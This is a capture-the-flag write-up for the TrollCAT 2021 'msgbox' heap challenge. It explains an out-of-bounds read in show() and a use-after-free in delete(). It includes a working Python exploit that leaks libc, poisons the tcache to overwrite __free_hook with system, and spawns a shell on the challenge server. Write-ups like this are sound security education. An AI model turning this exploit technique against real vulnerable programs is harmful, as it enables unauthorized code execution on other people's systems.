Tags: uaf pwnscripts __free_hook 

Rating:

msgbox

More secure than "Whatsapp" ?

nc 157.230.33.195 2222

Flag format : Trollcat{}

Author : codacker

Files: msgbox.zip (vuln, vuln.c, libc.so.6)

$ checksec msgbox.o # renamed vuln
[*] 'msgbox.o'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$ ../libc-database/identify msgbox.so.6 # renamed libc.so.6
libc6_2.27-3ubuntu1.4_amd64

I use pwnscripts to finish libc challenges quickly.

Code parsing

strings[] is an array of strings (char*) that starts off empty. sizes[] is an array keeping track of the lengths of each string. Both are 0x10 large.

add()

  • user-provided index; assert on boundaries
  • strings[i] = malloc(<user provided size>)
  • read(size-1) to take in input
  • size[i] = size

show()

  • takes user-provided index, no bounds checking
  • uses %s with printf(), so possible overprinting due to lack of nul-terminator

delete()

  • user-provided index; assert on boundaries
  • free(strings[idx]). No zeroing out of strings[idx]/sizes[idx]; clear UAF / double-free

edit()

  • user-provided index; assert on boundaries
  • read(0, strings[idx], sizes[idx]). Note that this is 1 larger than what add() originally does.

I also prepared a python framework to deal with this challenge:

from pwnscripts import *
context.binary = 'msgbox.o'
context.libc_database = '../libc-database'
context.libc = 'msgbox.so.6'
r = remote('157.230.33.195', 2222)

def add(size: int, idx: int, msg: bytes):
    r.sendlineafter('> ', '1')
    r.sendlineafter('size: ', str(size))
    r.sendlineafter('idx: ', str(idx))
    r.sendafter('message: ', msg)
def show(idx: int):
    r.sendlineafter('> ', '2')
    r.sendlineafter('idx: ', str(idx))
    return r.recvline()
def delete(idx: int):
    r.sendlineafter('> ', '3')
    r.sendlineafter('idx: ', str(idx))
def edit(idx: int, msg: bytes):
    r.sendlineafter('> ', '4')
    r.sendlineafter('idx: ', str(idx))
    r.sendafter('message: ', msg)

With that out of the way, what're we going to do?

how2heap

This challenge doesn't have a single fixed solution; there are many heap-based vulnerabilities present in the source code, and I'll only be using two to get through:

Arbitrary Relative Dereference

show() is the only function that happens to lack bounds checking (i.e. asserting 0<=idx<0x10), and we can abuse it for an arbitrary read.

Because show(idx) will essentially commit printf("%s", strings[idx]), we can read any pointer located around the 0x400000-0x600000+ range (so long as it is actually a pointer). Since leaking libc is usually important for a heap challenge, I decided to try finding a pointer<sup>1</sup> to a libc location in the binary.

A quick scan in gdb-gef led to results:

0x0000000000400580│+0x0580: 0x0000000000601ff0 → 0x00007fffff0801f0 → <__libc_start_main+0> push r14

This corresponds with this section in IDA:

LOAD:0000000000400580 Elf64_Rela <601FF0h, 800000006h, 0> ; R_X86_64_GLOB_DAT __libc_start_main

This means that strings[(0x400580-(int)strings)/8] will be a pointer to libc, and we'll get the libc base with a simple one-liner:

context.libc.symbols['__libc_start_main'] = unpack_bytes(show((0x400580-context.binary.symbols['strings'])//8).split(b'] ')[-1], 6)

With libc leaked, all we need to do is to overwrite __free_hook to gain arbitrary code execution.

Use-After-Free

In delete(), strings[idx] is free()d without setting strings[idx] = 0. This is dangerous for multiple reasons, but one of the easier things we can do here is to run edit(idx, writeable_location) after delete(idx):

SZ = 0x18
add(SZ, 0, b'garbage')
delete(0)
edit(0, pack(context.libc.symbols['__free_hook']))

After delete(0), the tcache free list will contain a single saved pointer. edit()ing the deleted pointer will add an extra pointer to the free list; I'm editing the string to contain __free_hook so that the next allocation will point towards there:

add(SZ, 0, b'/bin/sh;') # this is the original add()'d pointer
add(SZ, 1, pack(context.libc.symbols['system'])) # this allocation is given __free_hook; I overwrite it with system()
delete(0) # __free_hook causes system("/bin/sh")

That's it.

Flag

Trollcat{h34p_h34p_g0_4w4y}

  1. Note the level of dereferencing here. The GOT table is a list of functions; using show() to display pointers on the GOT table would only result in "leaking" assembly code.
Original writeup (https://github.com/IRS-Cybersec/ctfdump/blob/master/TrollCAT%202021/msgbox.md).